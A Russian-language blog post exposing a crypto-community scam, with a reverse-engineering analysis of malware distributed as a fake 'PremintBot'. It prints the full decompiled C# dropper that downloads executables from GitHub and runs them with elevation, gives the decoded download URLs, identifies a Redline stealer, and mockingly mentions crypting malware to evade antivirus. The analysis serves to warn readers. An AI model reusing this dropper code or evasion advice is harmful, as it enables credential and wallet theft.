June 26, 2022

Масштабный скам от Халявного. Полный разбор с реверс-инжинирингом малвари.

Начнем с истоков

Кто такой вообще этот ваш Халявный? Уважаемый (ранее) админ паблика @HaliavimCryptu, гемхантер, со своим каналом и артодельной (с высокими наценками), сделавший огромное количество (по его рассказам) лавэ на влах, имел роль в Курилке.

Предпосылки

Еще несколько недель назад Халявный отключил все реакции кроме 🤮, 👎🏻 и 💩. Возможно он уже тогда задумывал закинуть малварь на все комьюнити, и когда понаставляли бы таких реакций, не вызывать подозрений. Но это уже более параноидальные теории, хотя исключать этого тоже мы не можем ;)

1. Буквально месяц назад наш герой собирал складчину у себя на канале для покупки курса по Майнингу от Фармера (лол), и конечно же собрав по 70$ с 10 человек, никому мануал не кинул, прикрывшись тем что продажник вычислил их склад (а не майнер ли он нам подсунет дальше :?)

2. В его артодельне, как оказалось, качество не соответсвует тому какие сники он прикладывает. Вот пример:

3. Более интересная история которая случилась 9 апреля 2022 года, про квест на 5к$.

Халявный и Бойлер заделали совместный квест, где собрав 12 слов сид фразы, ты мог получить NFT по их словам стоимостью 5.000$. Сделано это было ради хайпа и набора аудитории, ведь видимо по другому кроме как наебывать, двигаться Халявный не умел. О квесте конечно же все благополучно забыли, ниаких пруфов естественно никто не предоставил. А сам Халявный игнорировал сообщения с вопросами.

Начало расследования. Хронология событий.

Итак, 25 июня 2022 20:31 он выпускает пост с таким содержимым:

И за этими постами сразу же пост с самими файлами, но уже отключив комментарии:

Не поверите, но некоторые паблики, успели сразу же репостнуть и удалить впоследствии, ведь ничего подозрительного кроме слива "годноты" в паблик непонятно зачем.

А следом он вообще удалил свой тг аккаунт!

Анализ малвари и разбор ситуации.

Любой, у кого IQ выше амебы, перед запуском левого файла пойдет просканировать вначале его на https://www.virustotal.com/, и увидев 32 детекта из 67 засомневается в запуске софта.

И кто-то даже спросил, отчего столько детектов!

Однако вот что отвечает наш юный манимейкер:

А кое-кто даже умудрился запустить софт, и следом начать рассылать по всем чатам что у него украли 439$, однако особо этому верить нельзя т.к чел мог просто перевести деньги на свой второй кошелек.

Итак, приступим к самому интересному, анализу файлов!

Мы видим что софт действительно подгружает отдельный файл с гитхаба, но почему-то именно SandBoxAccounts.exe а не просканированный PremintBot.exe.

Перейдя на по ссылке увидим гитхаб. Нет сомнений что это дело рук именно Халявного, так как коммит был сделан ровно под выложенный пост, и дальше не редактировался.

Пытаемся декомпилировать файл PremintBot.exe, и огорчаемся ведь к сожалению он собран не Pyinstaller и не py2exe, спустя какое-то время понимаем что это C# и декомпилируем. Получаем файл с подобным содержимым:

Примечание: Компиляция - процесс сбора из исходников в exe.
Примечание: Декомпиляция - обратный процесс компиляции. Получение исходников из exe файла.
using System;using System.Diagnostics;using System.IO;using System.Net;using System.Security.Principal;using System.Text;

namespace UBkvxG
{
	internal static class Program
	{
		private static void Main()
		{
			ServicePointManager.set_SecurityProtocol((SecurityProtocolType)240);
			try {
				ServicePointManager.set_SecurityProtocol((SecurityProtocolType)4080);
			}
			catch {}
			try{
				string @string = Encoding.Default.GetString(Convert.FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0NyM2FwM3IvUHJvZHVjdC1SZWQvcmF3L21haW4vU2FuZEJveEFjY291bnRzLmV4ZQ=="));
				string text = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9TYW5kQm94QWNjb3VudHMuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", ""));
				try{
					if (File.Exists(text)){
						File.Delete(text);
					}
				}
				catch{}
				new WebClient().DownloadFile(@string, text);
			}
			catch{}
			try{
				string text2 = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9TYW5kQm94QWNjb3VudHMuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", ""));
				if (File.Exists(text2)){
					ProcessStartInfo val = new ProcessStartInfo();
					val.set_FileName(text2);
					val.set_Verb(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole((WindowsBuiltInRole)544) ? "runas" : "");
					Process.Start(val);}
			}
			catch{}
			try{
				string string2 = Encoding.Default.GetString(Convert.FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0NyM2FwM3IvUHJvZHVjdC1SZWQvcmF3L21haW4vdXBkYm90LmV4ZQ=="));
				string text3 = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC91cGRib3QuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", ""));
				try
				{
					if (File.Exists(text3))
					{
						File.Delete(text3);
					}
				}
				catch{}
				new WebClient().DownloadFile(string2, text3);}
			catch{}
			try{
				string text4 = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC91cGRib3QuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", ""));
				if (File.Exists(text4)){
					ProcessStartInfo val2 = new ProcessStartInfo();
					val2.set_FileName(text4);
					val2.set_Verb(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole((WindowsBuiltInRole)544) ? "runas" : "");
					Process.Start(val2);}
				}
			catch{
			}
		}
	}
}

Декодируем переменные через base64 online decoder и получаем такие значения:

@string = https://github.com/Cr3ap3r/Product-Red/raw/main/SandBoxAccounts.exe
text и text2 = {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/SandBoxAccounts.exe
string2 = https://github.com/Cr3ap3r/Product-Red/raw/main/updbot.exe
text3 и text4 = {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/updbot.exe

Собственно это и есть тот самый момент когда подгружаются и кладутся файлы updbot.exe и SandBoxAccounts.exe

Дальше смотрим на 2 файла:

SandBoxAccounts.exe - собран PyInstaller

updbot.exe - собран через C

C декомпилировать нельзя, только дисассемблить, так что сначала посмотрим на SandBoxAccounts.exe
Примечание: Дизассемблить - это процесс реверса кода до ассемблера.

Однако чуть позже понимаем что он скомпилирован с python 3.10, следовательно декомпилируется uncompyle6-ом. Приходится делать это ручками. После некоторых попыток получаем код подобный этому:

import threading
import requests
from urllib.parse import quote
from fake_useragent import UserAgent
from json import loads
from random import choice, randint
from base64 import b64encode
from loguru import logger
from sys import stderr
from urllib3 import disable_warnings
from time import sleep
from msvcrt import getch
from os import system
from colorama import init, Fore, Back, Style
import time
import random
init()
print('=============\nВведите данные от электронных почт в файл DataAccounts.txt\nВ формате: [email protected]:parol`\n============='')
print('Если вы ввели все данные, нажмите 1, если нет, то 0:')
i = int(input(''))
if i == 1:
    x = random.randint(5, 12)
    sleep(x)
    my_file = open('SandBoxAccountsData.txt', 'w+')
    print('Аккаунты успешно зарегестрированны')
    my_file.write('Error. Неверные данные от почт')
    return None
То есть никакие в помине аккаунты не регистрируются ;)
А это кстати все файлы собранные в EXE. Большая часть была обфусцирована.

К сожалению updbot.exe декомпилировать нельзя, так как код написан на C, однако можно с легкостью более-менее понять что он делает.

Смотрим специализированным софтом и вот что получаем:

Да-да, семейство Redline :) Такие стиллеры продаются за +- 100$ на форумах.

Примечание: Redline Stealer - это вредоносная программа, которая собирает информацию из браузеров, такую как сохраненные учетные данные, данные автозаполнения и данные кредитной карты. Помимо этого еще из криптокошельков, FTP, VPN и IM клиентов.

Итоги

Иронично: его сообщения во время минта Bubblegoose несколько месяцев назад.

Халявный блин! В следующий раз когда будешь скамить покупай ручной крипт чтобы не детектили антивирусы. И не бери малварь от мамкиных кодеров с лолза :)

Примечание: Ручной крипт - это когда делают так, чтобы Малварь не детектилась антивирусами.
Примечание: Lolz.guru - школофорум.

И да, через какое-то время он наверняка вернется и начнет рассказывать что-то типа что "его взломали", однако если бы это действительно было так, то он бы сразу же вышел на связь.

Мой Telegram канал где вас не кинут > https://t.me/crypto_satana

Связаться по улучшению статьи > https://t.me/scissor_eth